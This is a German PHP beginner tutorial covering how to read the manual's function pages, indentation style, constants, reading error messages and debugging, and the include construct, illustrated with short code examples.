Darauf folgt die eigenliche Funktionsbeschreibung. Diese Beginnt mit dem Funktionskopf. Dieser besteht aus den Angaben Rückgabewert, Name der Funktion und Parameterliste. Der Rückgabewert gibt entsprechend den Typ an den die Funktion zurückliefert. Die Angaben void bedeutet dass die Funktion nichts zurückliefert. Die Parameterliste gibt an welche Parameter die Funktion unterstützt. Jeder Parameter ist dabei in der Form type $name oder type &$name. Der Typ gibt an welchen Typ der Parameter haben sollte bzw. muss. Dabei gibt es einige spezialtypen die in PHP nicht als solche existieren und nur in der Dokumentation verwendet werden. So steht der Typ number für eine float- oder int-Zahl. Eine Liste dieser Pseudotypen ist im Handbuch unter Pseudo-types and variables used in this documentation zu finden. Nach dem Typ steht der Name des Parameters. Dieser Name wird auch in der Funktionsbeschreibung verwendet. Wenn vor dem Namen ein & handelt sich bei diesem Parameter um ein Parameter mit Referenz. Dabei muss einmal der Parameter eine Variable sein und des Weiteren verändert die Funktion den Inhalt dieser Variable. Dies unterscheidet sich daher von Funktionsaufrufen ohne dem & die nur eine Kopie des Wertes übergeben. Des Weiteren können Parameter in eckigen Klammern stehen. Damit wird angegeben dass dieser Parameter optional ist und weggelassen werden kann.

Nach dem Funktionskopf folgt die genaue Beschreibung der Funktion und der Parameter. Dabei greift sie auf die Namen der Parameter zu. Die Parameternamen stehen dabei in einer monospace-kursiven Schrift um sie vom Fließtext zu unterscheiden. Daher ist der Satz If search or replace are arrays, [...] als solches Schwachsinnig, ergibt jedoch Sinn wenn man weiß dass search und replace die Namen der Parameter sind. Die genaue Funktionsbeschreibung enthält zusätzlich einige Beispiel wie eine Funktion verwendet wird sowie eine Auflistung aller Parameter und deren Funktionsweisen.

Der Rückgabewert einer Funktion wird extra aufgelistet und enthält eine Beschreibung über den Rückgabewert. Bei einer Funktion mit Rückgabetyp void wird dieser entsprechend weggelassen, bei einem Rückgabetyp mixed kann hier jedoch eine Menge Text stehen um alle Fälle der Funktion abzudecken.

Da auch PHP stehts in der Entwicklung ist enthalten einige Funktionen einen kurzen Hinweis was sich in welcher PHP-Version an dieser Funktion getan hat. So sind z.B. einige Parameter erst ab einer bestimmten PHP-Version implementiert worden.

Die meisten Funktionen enthalten zusätzlich Querverweise zu anderen Funktionen, die einen Bezug zu der aktuellen Funktion haben. So kann es sein dass eine Funktion nicht das macht was man möchte, jedoch vielleicht so die richtige Funktion findet wenn man einen Querverweis öffnet.

Abschließend enthalten alle Funktionen einen Bereich von Userkommentaren. Sie erläutern nochmal einige Funktionshinweise und bieten auch Beispielcodes an, wie diese Funktion zu verwenden ist. In den Kommentare sind auch eigene Funktionsdefinitionen zu finden die vielleicht für andere Programmierer interessant sind.

4. Funktionsbeschreibung zu sort

Als Beispiel wählen wir die Funktionsbeschreibung zu sort. Diese Funktion ist in den PHP Versionen php4 und php5 vorhanden und anhand der Kurzbeschreibung ist zu erkennen dass mit dieser Funktion ein Array sortiert werden kann.

Der Funktionskopf beschreibt dass die Funktion einen boolischen Wert zurückliefert, der erste Parameter eine Variable mit einem Array sein muss und der zweite Parameter optional eine Integer-Zahl sein kann. Unabhängig was diese Funktion genau macht kann die Funktion wie folgt aufgerufen werden.

<?php
$a 
= array(4610, -4);
$ret sort($a);
$ret sort($a4);
$ret sort($a0);
sort($a, -400);
sort($a9*30-5);
sort($a$a[0]); // möglich da $a[0] den Wert int(4) hat
?>

Die Funktionsbeschreibung enthält dann ein Text was diese Funktion leistet. In diesem Fall wird das angegeben Array aufsteigend sortiert. Des Weiteren beschreibt sie den Rückgabewert, der true ist wenn das Array sortiert wurde und false ist wenn ein Fehler auftrat.

Obwohl der optionale Parameter von der Syntax her jede beliebige Integer-Zahl erwarten kann ergeben nur einige Integerwerte Sinn. So steht in der Beschreibung dass man die Werte SORT_REGULAR, SORT_NUMERIC, SORT_STRING und SORT_LOCALE_STRING verwenden kann um die entsprechende Funktionalität zu haben die in der Beschreibung angegeben ist. Auf den ersten Blick würde man meinen dass es sich hierbei um Strings handelt und die Funktion vielleicht mit sort($a, "SORT_NUMERIC"); aufruft. Dagegen spricht jedoch einmal die Tatsache dass der 2. Parameter eine Zahl sein soll, kein String. Des Weiteren deutet die Großschreibweise an dass es sich hierbei um Konstanten handelt. Wenn man in der Gruppenübersicht nachguckt findet man dort auch in der Liste der definierten Konstanten auch die angegebenen Konstanten. Also kann man diese Konstanten für diese Funktion verwenden.

<?php
sort
($aSORT_STRING);
sort($aSORT_NUMERIC);
?>

Als Querverweise enthält die Funktionsbeschreibung eine Auflistung anderer Sortierfunktionen. Und zum Schluss sind die Userkommentare zu dieser Funktion zu finden.

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

Einrücken

  1. Einrücken
  2. Einrücken von Anweisungen und Funktionsaufrufen
  3. If-Abfragen
  4. Schleifen
  5. Funktionsdefinitionen
  6. Einrücken von Klassen
  7. Switch Einrücken
  8. Einrücken des Beispielcodes

1. Einrücken

Um seine PHP-Skripte besser zu strukturieren sollten diese sauber eingerückt werden. Als Beispiel nehmen wir folgenden PHP-Code.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);
function 
todo($str) {
for(
$i=0;$i<strlen($str);$i++) {
if(
"z" == $str[$i]) {
$str[$i]="1";
}else{
if(
"a" == $str[$i]) {
$str[$i]="2";
}else{
switch(
$str[$i])
case 
"b":case "c":
$str[$i]=1;
break;
case 
"c":
$str[$i]=0;
}
}
}
}
class 
Foobar {
private 
$bar;
public function 
__construct($a) {
$this->bar $a;
}
public function 
ersetze() {
foreach(
$a as $value) {
if(
is_string($value)) {
$value=todo($value);
}
}
}
}
$obj = new Foobar(array("x","z"));
$obj->ersetze();
?>

Es ist dabei Egal was dieser Code macht. Hieran ist zu erkennen dass keine Einrückung am Code vorgenommen wurde. Somit ist nicht leicht zu erkennen, wo ein Programmblock aufhört und wo der nächste anfängt. So kann man z.B. nicht verfolgen welche Anweisungen noch in einer Schleife stehen und welche nicht mehr. Das Verfolgen des PHP-Skriptes ist jedoch ein wichtiger Bestandteil wenn es darum geht das PHP-Skript zu überprüfen und eventuelle Fehler zu beseitigen. Daher beschreibt dieses Kapitel die Strategien wie Eingerückt werden.

Es ist egal wie genau eingerückt wird, hauptsache es wird eingerückt. Dabei sollte konsequent eingerückt werden und nicht nur sporanisch an einigen Stellen. Hier wird weitgehend nach dem PEAR Coding Standard eingerückt. Alle Regeln können auch dort nachgelesen werden. Des Weiteren werden hier alle Einrückungen mit 4 Leerzeichen realisiert, nicht mit Tabulatoren. Im Editor muss dies ggf. umgeschaltet werden, das bei einem Tabulator-Druck mit Leerzeichen eingerückt wird. Selbstverständlich gibt es beliebig viele Strategien wie eingerückt wird, siehe http://en.wikipedia.org/wiki/Indent_style.

2. Einrücken von Anweisungen und Funktionsaufrufen

Bei Funktionsaufrufen werden die Parameter üblicherweise (neben dem notwendingen Kommata) mindestens mit einem Leerzeichen getrennt. Somit ist sofort erkennbar was die Parameter einer Funktion sind. Bei sehr langen Parametern können diese auch untereinander geschrieben werden.

<?php
$str 
str_replace('Foobar''FOOBAR'$str); // Leerzeichen zwischen Parametern
$str name_xyz('Ein sehr verdammt langer Parameter',
                
'Weitere Parameter',
                
false,
                array(
124),
                
"foobar"); // Funktionsaufruf mit 5 Parametern, der 4. ist ein Array
?>

In anderen Teilen sollten zusätzliche Leerzeichen eingefügt werden, um deren Lesbarkeit zu erhöhen.

<?php
$var      
"Text"// <-- paar Leerzeichen vor dem Gleichheitszeichen
$langevar "Text";
?>

3. If-Abfragen

Bei einer If-Abfrage wird der Inhalt vom Rumpf um eine Stufe eingerückt. Die öffnende geschweifte Klammer wird mit einem Leerzeichen getrennt hinter der If-Abfrage geschrieben, die schließende geschweifte Klammer kommt in eine extra Zeile und wird auf Höhe der If-Abfrage geschrieben. Nach dem Schlüsselwort if wird ein Leerzeichen eingefügt.

<?php
if (bedingung) {
    
// Anweisungen
    
foobar();
    
barbli();
    
xyz();
    
$var "x";
}
?>

Wenn die If-Abfrage einen else oder else if Teil enthält wird dieser hinter der geschweiften Klammer geschrieben, auch wieder mit einem Leerzeichen getrennt.

<?php
if (bedingung) {
    
tu_das();
} else if (
bedingung2) {
    
mach_dies();
} else {
    
dann_halt_das();
}
?>

4. Schleifen

Bei Schleifen wird der Inhalt des Schleifenrumpfs wie bei einer If-Abfrage um eine Stufe eingerückt. Die öffnende geschweifte Klammer wird mit einem Leerzeichen hinter dem Schleifenkopf geschrieben, die schließende Klammer wird auf eine extra Zeile geschrieben.

<?php
while (bedingung) {
    
arbeite();
}
?>

Bei einer For-Schleife werden die einzelnen Teile zusätzlich mit einem Leerzeichen getrennt, die Teile selbst enthalten üblicherweise keine Leerzeichen.

<?php
for ($i=0$i<10$i++) {
    
arbeite();
}
?>

Der selbe Stil wird für do-while- und foreach-Schleifen verwendet.

<?php
do {
    
arbeite();
} while (
bedingung);

foreach (
$array as $value) {
    
arbeite($value);
}
?>

5. Funktionsdefinitionen

Eine Funktionsdefinition sollte immer ein PHPDoc-Kommentar besitzen. So kann jeder Entwickler nachlesen was diese Funktion leisten soll und was sie macht. Die Parameter einer Funktion werden zusätzlich zum Kommata mit einem Leerzeichen getrennt. Die geöffnete geschweifte Klammer wird mit einem Leerzeichen getrennt hinter der Parameterliste angehängt. Die geschlossene geschweifte Klammer kommt in eine extra Zeile auf Höhe des Schlüsselworts function. Der Funktionsrumpf wird nun dabei um eine Stufe eingerückt.

<?php
/**
 * PHPDoc zur Funktion foobar
 */
function foobar($bar$bla) {
    
arbeite($bar);
    
arbeite($bla);
}
?>

6. Einrücken von Klassen

Klassen werden nach dem selben Stil eingerückt. Die einzelnen Eigenschaften und Methoden werden untereinander zusätzlich von einer Leerzeile getrennt. Wie bei den Funktionen gehören (besonders) auch bei Klassen PHPDoc-Kommentare die die einzelnen Elemente beschreiben.

<?php
/**
 * PHPDoc zu Foobar
 */
class Foobar {
    
/**
     * PHPDoc zu $xyz
     */
    
private $xyz;

    
/**
     * PHPDoc zu XYZ()
     */
    
public function XYZ() {
        
arbeite();
    }
}
?>

7. Switch Einrücken

Switch-Abfragen folgen dem selben Einrückstil wie die anderen Programmteile. Die case Anweisungen werden jedoch auf Höhe des switch-Schlüsselworts geschrieben. Das heißt das vom Schritt switch->case->Programmcode nicht zwei mal eingerückt wird sondern nur einmal. Das break; (falls vorhanden) bleibt dabei auf der Höhe der Einrückung.

<?php
switch ($var) {
case 
'z':
    
arbeite();
    break;
case 
'y':
    
arbeite();
default:
    
arbeite();
}
?>

8. Einrücken des Beispielcodes

Als Beispiel wird nochmal der Code von oben eingerückt. Hier der ursprüngliche PHP-Code.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);
function 
todo($str) {
for(
$i=0;$i<strlen($str);$i++) {
if(
"z" == $str[$i]) {
$str[$i]="1";
}else{
if(
"a" == $str[$i]) {
$str[$i]="2";
}else{
switch(
$str[$i]) {
case 
"b":case "c":
$str[$i]=1;
break;
case 
"c":
$str[$i]=0;
}
}
}
}
}
class 
Foobar {
private 
$bar;
public function 
__construct($a) {
$this->bar $a;
}
public function 
ersetze() {
foreach(
$a as $value) {
if(
is_string($value)) {
$value=todo($value);
}
}
}
}
$obj = new Foobar(array("x","z"));
$obj->ersetze();
?>

Und nun wie er sauber eingerückt wird.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);

/**
 * PHPDoc zu Todo
 */
function todo($str) {
    for(
$i=0$i<strlen($str); $i++) {
        if (
"z" == $str[$i]) {
            
$str[$i]="1";
        } else {                      
// besser zu einem else if()
            
if ("a" == $str[$i]) {    // zusammenfassen, um eine Einrückungstiefe zu sparen
                
$str[$i]="2";
            } else {
                switch (
$str[$i]) {
                case 
"b":
                case 
"c":
                    
$str[$i]=1;
                    break;
                case 
"c":
                    
$str[$i]=0;
                }
            }
        }
    }
}

/**
 * PHPDoc zu Foobar
 */
class Foobar {
    
/**
     * PHPDoc zu $bar
     */
    
private $bar;

    
/**
     * PHPDoc zum Konstruktor
     */
    
public function __construct($a) {
        
$this->bar $a;
    }

    
/**
     * PHPDoc zu ersetze()
     */
    
public function ersetze() {
        foreach (
$a as $value) {
            if (
is_string($value)) {
                
$value todo($value);
            }
        }
    }
}

$obj = new Foobar(array("x","z"));
$obj->ersetze();
?>

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

Konstanten

  1. Konstanten
  2. Definieren und Auslesen von Konstanten
  3. Verwendung von Konstanten

1. Konstanten

Konstanten können wie Variablen Werte enthalten, die aber nicht mehr geändert werden können (daher auch der Name). Des Weiteren können Konstanten nicht jeden Typ von Wert enthalten wie es bei Variablen möglich ist. So können Konstanten nur Skalare Werte sowie den speziellen Datentyp NULL enthalten. Im Gegensatz zu Variablen sind Konstanten jedoch im ganzen Skript verfügbar. Dies schließt auch Funktionsrümpfe mit ein obwohl eine Konstante nicht dort definiert wurde. Konstanten werden z.B. häufig für Einstellungen gesetzt, aber auch für spezielle Parameterwerte für Funktionen wie z.B. bei error_reporting.

2. Definieren und Auslesen von Konstanten

Konstanten werden in PHP mit der Funktion define erzeugt. Der erste Parameter ist dabei der Name der neuen Konstante, der zweite Parameter der Wert für diese Konstante.

<?php
define
('SITE_NAME''Meine Tolle Homepage');
?>

Konstanten unterliegen den selben Namenskriterien wie Variablen (abgesehen vom fehlenden Dollarzeichen $). Sie können somit auch nicht mit Ziffern anfangen. Konstanten werden zusätzlich üblicherweise komplett in Großbuchstaben geschrieben.

Um auf eine Konstante zuzugreifen wird einfach der Name der Konstante verwendet.

<?php
echo SITE_NAME;
// oder auch
echo 'Willkommen auf '.SITE_NAME.'!';
// jedoch nicht
echo 'Willkommen auf SITE_NAME!'// wird die Konstante nicht finden 
?>

3. Verwendung von Konstanten

Konstanten werden in PHP für die bereitgestellten Funktionen als Parameter benutzt die eigentlich eine Zahl erwarten oder als Rückgabewerte verwendet die eigentlich nur Zahlen sind, jedoch sich niemand diese Zahlen merken kann oder will. Diese Konstanten die in PHP vordefiniert sind haben dann verständliche Namen, die dann verwendet werden können. So liefert die Funktion getimagesize einige Informationen über ein Bild zurück. Dazu gehört der Typ des Bildes (PNG, JPEG, GIF, etc.). Diese Information ist in einer Zahl kodiert. So steht z.B. 1 für GIF und 4 für PNG. Um nun den Typ eines Bildes zu prüfen könnten man den Typ gegen diese Zahlen vergleichen.

<?php
if (== $bildtyp) {
} else if (
== $bildtyp) {
}
?>

Damit man nicht immer im Handbuch nachgucken muss was 1 oder 4 bedeutet kann man (und sollte auch) die vordefinierten Konstanten verwenden.

<?php
if (IMAGETYPE_GIF == $bildtyp) {
} else if (
IMAGETYPE_PNG == $bildtyp) {
}
?>

Somit ist für jeden klar was die If-Abfrage überprüft und wann diese ausgeführt wird. Diese Idee wird auch bei Parametern verwenden. Als Beispiel dient hier die error_reporting Funktion, die eine Zahl erwartet. Diese Zahl wird in ihre Bits zerlegt und Anhand dieser Zerlegung entscheidet diese Funktion welche Fehlermeldungen angezeigt werden sollen und welche nicht. Ein gültiger Funktionsaufruf wäre der folgende:

<?php
error_reporting
(8191);
?>

Da jedoch niemand weiß was diese Zahl nun bedeutet verwendet man vordefinierte Konstanten, in diesem Fall die E_* Konstanten. Für den Entwickler ist es nun klarer welchen Wert der Parameter ist bzw. sein soll.

<?php
error_reporting
(E_ALL E_STRICT);
?>

Des Weiteren können sich die Werte der Funktionen ändern. So ist z.B. der Wert E_ALL in der PHP Version 5.2.x 6143, davor jedoch 2047. Somit würde der gleiche Code bei unterschiedlichen PHP-Version vielleicht anders ablaufen. Bei der Verwendung von diesen Konstanten wird automatisch der richtige Wert genommen/errechnet, der für diese PHP-Version grad gültig ist, da die grad laufende PHP-Version selbst weiß welcher Konstante welchen Wert hat.

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

Fehlermeldungen

  1. Fehler im PHP-Skript
  2. Fehlermeldungen anzeigen lassen
  3. Syntaktische Fehler
  4. Fehlermeldungen verstehen
  5. Semantische Fehler finden

1. Fehler im PHP-Skript

Da niemand Perfekt ist können sich auch Fehler in PHP-Skripten einschleichen. Für den Programmierer heißt dies dass die Fehler im Skript erkannt und beseitigt werden müssen. Dafür stehen dem Programmierer einige Techniken zur Verfügung, von Debugzeilen mit echo über var_dump und debug_print_backtrace bis hin zu Debugger-Möglichkeiten.

2. Fehlermeldungen anzeigen lassen

Um Fehler zu korrigieren müssen diese erstmal gefunden werden. Dies kann daran scheitern dass die entscheidenen Fehlermeldungen nicht angezeigt werden. Je nach PHP-Installation und Konfiguration werden nur bestimmte Typen von Fehlermeldungen angezeigt. Die Wahl der Typen wird durch die Funktion error_reporting bestimmt sowie der dazugehörigen Konfiguration error_reporting in der php.ini. Um alle Typen von Fehlermeldungen zu aktivieren setzt man den Wert für error_reporting auf E_ALL.

<?php
error_reporting
(E_ALL);
?>

Neben dem Wählen der Typen existiert die Einstellung display_errors die angibt ob überhaupt Fehlermeldungen angezeigt werden sollen. Zu Entwicklungszeiten wird diese Einstellung aktiviert, für den laufenden Betrieb wird diese jedoch aus Sicherheitsgründen deaktiviert. In PHP gibt es keine spezielle Funktion um diesen Wert zu aktivieren, daher muss hier die ini_set-Funktion verwendet werden.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);
?>

Da nun alle Fehlermeldungen angezeigt werden können nun die entsprechenden Fehler korrigiert werden.

3. Syntaktische Fehler

Syntaktische Fehler sind die einfachsten Fehler in PHP, da sie ein Skript daran hindern überhaupt das PHP-Skript zu starten. Bevor ein PHP-Skript seine Arbeit aufnimmt wandelt der PHP-Interpreter den Quellcode in Tokens um.

<?php
/**
 * Start des Skriptes
 */
$i 10;
do {
    echo 
$i."\n";
    
$i floor($i/2);
} while (
$i)
echo 
'i ist nun '.$i;
?>

Dieses PHP-Skript wandelt PHP in die folgenden Tokens um. Intern behält PHP nur diese Liste, jedoch sind hier die Tokens entsprechend so eingerückt wie sie im Quellcode vorkommen.

T_OPEN_TAG
T_DOC_COMMENT T_WHITESPACE
T_VARIABLE T_WHITESPACE = T_WHITESPACE T_LNUMBER ; T_WHITESPACE
T_DO T_WHITESPACE { T_WHITESPACE
    T_ECHO T_WHITESPACE T_VARIABLE . T_CONSTANT_ENCAPSED_STRING ; T_WHITESPACE
    T_VARIABLE T_WHITESPACE = T_WHITESPACE T_STRING ( T_VARIABLE / T_LNUMBER ) ; T_WHITESPACE
} T_WHITESPACE T_WHILE T_WHITESPACE ( T_VARIABLE ) T_WHITESPACE
T_ECHO T_WHITESPACE T_CONSTANT_ENCAPSED_STRING . T_VARIABLE ; T_WHITESPACE
T_CLOSE_TAG

Zur besseren Übersicht löschen wir alle T_WHITESPACE Tokens, da sie eh ignoriert werden. Sie kommen von den Zeilenumbrüchen und den Leerzeichen im Quellcode.

T_OPEN_TAG
T_DOC_COMMENT
T_VARIABLE = T_LNUMBER ;
T_DO {
    T_ECHO T_VARIABLE . T_CONSTANT_ENCAPSED_STRING ;
    T_VARIABLE = T_STRING ( T_VARIABLE / T_LNUMBER ) ;
} T_WHILE ( T_VARIABLE )
T_ECHO T_CONSTANT_ENCAPSED_STRING . T_VARIABLE ; 
T_CLOSE_TAG

Mit dieser Liste von Tokens kann der PHP-Interpreter nun rechnen. Er prüft nun ob die Tokens an den richtigen Stellen stehen und ob das Zusammenspiel auch passt. Der Ausdruck $i = 10; wird in die Tokenliste T_VARIABLE = T_LNUMBER ; umgewandelt (jetzt ohne T_WHITESPACE). Intern überprüft der PHP-Interpreter ob dies ein gültiger Ausdruck ist, was in diesem Beispiel der Fall ist.

Wenn wir dieses Skript aufrufen werden wir mit folgender Fehlermeldung belohnt.

Parse error: syntax error, unexpected T_ECHO, expecting ';' in DATEI on line 10

Hier ist der PHP-Interpreter nicht mit Zeile 10 zufrieden. Zeile 10 sieht jedoch in Ordnung aus. Das Problem liegt eine Zeile davor, da hinter der do-while-Schleife ein Semikolon vergessen wurde. Der PHP-Interpreter hat sich die Tokens bis dahin angeguckt und gemerkt und erwartet nun nach der schließenden geschweiften Klammer ) ein Semikolon (siehe expecting ';'). Nun, zuerst findet er das T_WHITESPACE Token für den Zeilenumbruch (nicht schlimm, wird ja eh ignoriert). Und dann findet er in Zeile 10 das Token T_ECHO vom echo-Konstrukt. Dies ist absolut nicht erwartet (siehe unexpected T_ECHO) und PHP bricht mit dem Parsen des Skriptes mit einem Parse error ab. Die Liste der erwarteten Tokens ist bei diesen Fehlermeldungen meist gekürzt, da mehrere Tokens folgen können. Alle Token aufzulisten die passen würde keinen weiterbringen. Erstens wissen die Programmierer wie programmiert wird und zweitens ist es wichtig zu Wissen was fehlerhaft ist und nicht was dort vielleicht irgendwie verwendet werden könnte.

Die Zeilenangabe in der Fehlermeldung ist nur die Stelle an der ein Fehler aufgetreten ist, muss aber nicht die Ursache für den Fehler sein. Es gibt dabei so einige Orte wo der Fehler zu suchen ist.

4. Fehlermeldungen verstehen

Neben Syntax Fehlern können auch normale Programmierfehler auftreten, wenn z.B. eine Zahl durch 0 geteilt wird. Der Ausdruck $x = $y / $z; ist zwar syntaktisch richtig, kann aber zu einer Fehlermeldung Warning: Division by zero in DATEI on ZEILE führen. Alle diese Fehlermeldungen besitzen den gleichen Aufbau. Sie beginnen mit einer Klassifizierung der Fehlermeldung. So reicht die Klassifizierung von einem Hinweis (Notice) bis hin zu einem Skriptabbruch (Fatal error). In jedem Fall muss der Programmfehler korrigiert werden. Es reicht nicht das error_reporting-Level runterzuschrauben. Das verhindert zwar die Fehlermeldung, behebt aber nicht den Fehler.

Nach der Klassifizierung kommt die eigentliche Fehlermeldung. Sie beschreibt was passiert ist bzw. was nicht unternommen werden kann. Hier ist die Erfahrung gefragt wie eine Fehlermeldung zu lesen ist. Ein Undefined index '0' mag vielleicht noch einfach zu lesen sein, ein Warning: Cannot modify header information - headers already sent by (output started at DATEI:ZEILE) in DATEI on line ZEILE wohl nicht so einfach, bis hin zu Fehlermeldungen wie Warning: fopen() - No error in DATEI on line ZEILE.

Die angegeben Datei gibt aufschluss wo der Fehler aufgetreten ist, muss aber nicht unbedingt die Quelle der Ursache sein (z.B. wenn eine Variable in einer anderen Datei gesetzt wird). Beliebte Fehler sind auch die falsche Datei zu bearbeiten oder die falsche Datei hochzuladen um dann zu sehen dass der Fehler nach dem Korrigieren doch nicht verschwunden ist.

5. Semantische Fehler finden

Wenn Fehlermeldungen durch PHP angezeigt werden ist es entsprechend einfach den Fehler zu korrigieren. Problematisch sind Fehler die nicht durch PHP erkannt werden, jedoch trotzdem Fehler sind. Diese semantische Fehler können nicht durch PHP erkannt werden, PHP-Skripte arbeiten nur den Plan ab der programmiert wurde.

Um den Verlauf eines PHP-Skriptes zu prüfen muss dieser vorher sauber eingerückt werden. Allein durch das Einrücken können viele logische Fehler bereits erkennt werden, wenn z.B. Programmcode in falschen If-Abfragen liegen. Um des Weiteren z.B. zu prüfen ob eine If-Abfrage betreten wird oder nicht können Debugzeilen eingefügt werden. Dabei handelt es sich um echo- oder var_dump-Aufrufe mit denen der Programmfluss erkannt werden kann.

<?php
echo 'vor der if-abfrage';
if (
bedingung) {
    echo 
'bin in der if-abfrage';
    
mach_was();
} else {
    echo 
'bin im else-teil';
    
mach_dies();
}
echo 
'nach der if-abfrage';
?>

Wenn nun bei diesem PHP-Skript der Text vor der if-abfragebin in der if-abfragenach der if-abfrag ausgegeben wird sieht man einmal dass man wieder einen HTML-Zeilenumbruch <br/> bzw. PHP-Zeilenumbruch \n vergessen hat, aber auch das der PHP-Interpreter den If-Teil der If-Afrage betreten hat. Wenn dies z.B. nicht richtig ist sollten die Bedingungen für die If-Abfragen überprüft werden.

Durch var_dump können dann auch diverse Variablen zum Prüfen der Werte ausgegeben werden.

<?php
while ($i $j) {
    
var_dump($i$j);
    
mach_was_mit($i);
    
mach_dies_mit($j);
    
$i += $j;
}
?>

Dies eignet sich auch um SQL-Querys auszugeben die an MySQL oder andere Datenbanken gesendet werden.

<?php
var_dump
($sql);
mysql_query($sql) or die(mysql_error());
?>

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

Include

  1. Auslagern von Programmteilen
  2. Include
  3. Include mit Verzeichnisstrukturen
  4. Return von Include

1. Auslagern von Programmteilen

Wenn man nun beginnt seine PHP-Skripte zu schreiben werden diese immer länger und länger. Wenn man dann auch z.B. andere PHP-Skripte hat, die in etwa den selben Aufbau haben so hat man einerseits auch wieder ein PHP-Skript das länger und länger wird, andereseits auch ein PHP-Skript dessen Code auch teilweise identisch in anderen PHP-Skripten steckt. Sinnvoller wäre es wenn man all diese identischen Teile auslagern kann und in seinen PHP-Skripten sowas wie Lade den Code XY. Eine Möglichkeit besteht mit Funktionen. Diese müssen aber auch im PHP-Skript selbst stehen und können entsprechend auch doppelt und dreifach in mehreren PHP-Skripten stehen. Besser ist da die Verwendung von include. Diesem Sprachkonstrukt übergibt man ein Dateinamen und das Skript verarbeitet den Inhalt dieser Datei als PHP-Code.

2. Include

Wenn in einem PHP-Skript das include Sprachkonstrukt verwendet wird passieren intern ungefähr folgende Dinge.

  1. Beenden des PHP-Modus (?>).

  2. Laden und Verarbeiten der Datei.

  3. Wiedereintritt in den PHP-Modus (<?php).

Die Verarbeitung geschiet dann genau so als würde der Inhalt der Datei an der Stelle eingefügt wo das include steht. Intern wird dabei wie gesagt vorher der PHP-Modus verlassen und nachher wieder der PHP-Modus betreten.

<p>
    HTML Code in einer Datei <code>datei.html</code>.
</p>
<?php
// Inhalt einer index.php Datei die vom Benutzer geöffnet wird.

echo 'Vor dem Include';

include 
'datei.html';

echo 
'Nach dem Include';
?>

Die entstehende HTML-Quellcode Ausgabe ist die folgende.

Vor dem Include<p>
    HTML Code in einer Datei <code>datei.html</code>.
</p>
Nach dem Include

Hier sieht man auch warum es wichtig ist dass PHP beim include den PHP-Modus verlässt. So wird sichergestellt das sehr einfach und ohne Probleme HTML-Dateien geladen werden können. Intern würde der oben stehende PHP-Code wie folgt aussehen.

<?php
// Inhalt einer index.php Datei die vom Benutzer geöffnet wird.

echo 'Vor dem Include';

?><p>
    HTML Code in einer Datei <code>datei.html</code>.
</p>
<?php

echo 'Nach dem Include';
?>

Dies heißt auch wenn man PHP-Dateien auch als PHP-Skripte laden möchte so müssen diese auch die PHP-Start/Stop-Zeichen <?php und ?> enthalten.

<?php
// Datei: foobar.php
echo "Eine zweite Zeile\n";
?>
<?php
// Datei: index.php, wird vom Benutzer geöffnet
echo "Erste Zeile\n";
include 
'foobar.php';
echo 
"Dritte Zeile\n";
?>

Erzeugt die erwartete Ausgabe.

Erste Zeile
Eine zweite Zeile
Dritte Zeile

PHP hat intern umgefähr folgendes gemacht.

<?php
// Datei: index.php, wird vom Benutzer geöffnet
echo "Erste Zeile\n";
?><?php
// Datei: foobar.php
echo "Eine zweite Zeile\n";
?><?php
echo "Dritte Zeile\n";
?>

Nehmen wir für unsere Vereinfachung die ?><?php Zeilen herraus sehen wir den PHP-Code den wir genau haben wollten.

<?php
// Datei: index.php, wird vom Benutzer geöffnet
echo "Erste Zeile\n";
// Datei: foobar.php
echo "Eine zweite Zeile\n";
echo 
"Dritte Zeile\n";
?>

Aus diesem Grund können auch Variablen verwendet werden, die erst in einer anderen PHP-Datei definiert werden.

<?php
// Datei: config.php
$vorname 'Max';
$nachname 'Mustermann';
?>
<?php
// Datei: index.php, die vom Benutzer geöffnet wird
include 'config.php';

echo 
'Ich bin '.$vorname.' '.$nachname.', Willkommen auf meiner Homepage';
?>

3. Include mit Verzeichnisstrukturen

Wenn eine Datei geladen wurde die in einem Unterverzeichnis liegt und diese Datei nun z.B. eine weitere Datei laden möchte so sucht PHP an zwei Stellen nach dieser Datei. Die erste Position von der gesucht wird ist die Position von der Datei die die neue Datei laden möchte. Die zweite Position ist die Position von der Datei, die am anfang vom Browser geöffnet wurde. Da dies unverständlich klingt lieber hier ein Beispiel.

<?php
// index.php (wird vom Benutzer aufgerufen)
include 'inc/config.php';
echo 
'Mein Name ist "'.$name.'"';
?>
<?php
// config.php (im Verzeichnis inc/)
include 'functions.php';
include 
'variables.php';
echo 
"Konfiguration geladen\n";
?>
<?php
// functions.php (im selben Verzeichnis wie index.php)
function foobar() {
    
// ...
}
echo 
"Funktionen geladen\n";    
?>
<?php
// variables.php (im Verzeichnis inc/)
$name 'Max Mustermann';
echo 
"Variablen geladen\n";
?>

Die Verzeichnisstruktur sieht wie folgt aus.

index.php
functions.php
inc/config.php
inc/variables.php

Wenn nun die index.php geöffnet wird, so entsteht folgende Ausgabe.

Funktionen geladen
Variablen geladen
Konfiguration geladen
Mein Name ist "Max Mustermann"

Es scheint also fast kein Unterschied zu machen wo nun die Dateien liegen die man laden möchte (hier jetzt functions.php und inc/variables.php). Intern schlägt nun der Mechanismus zu wo er die Datei sucht und dann auch findet.

Dieser interne Mechanismus kann aber auch zu Problemen führen, dass es zwei Möglichkeiten gibt wo eine Datei liegen kann (mit include_path sogar mehrere). Dieses Verhalten kann deaktiviert werden wenn die zu ladene Datei mit ./ oder ../ anfängt. Dann wird nur noch von der Startdatei gesucht, nicht mehr von der Include-Datei.

Für den Entwickler heißt dies dass man in einer PHP-Datei, welches includiert wird, weiterhin include verwenden kann ohne wissen zu müssen von wo das eigene Skript später aufgerufen wird. Die Entwickler schreiben somit in ihren Skripten einfach include 'variables.php'; anstelle von wilden Ausdrücken wie include dirname(__FILE__).'/variables.php';.

4. Return von Include

Include-Dateien können wie Funktionen auch ein return enthalten. Somit ist es möglich ein include wie eine Funktion zu behandeln und den Rückgabewert in eine Variable zu speichern.

<?php
// datei.php
return "text";
?>
<?php
// index.php
$var = include 'datei.php';
echo 
$var// gibt 'text' aus
?>

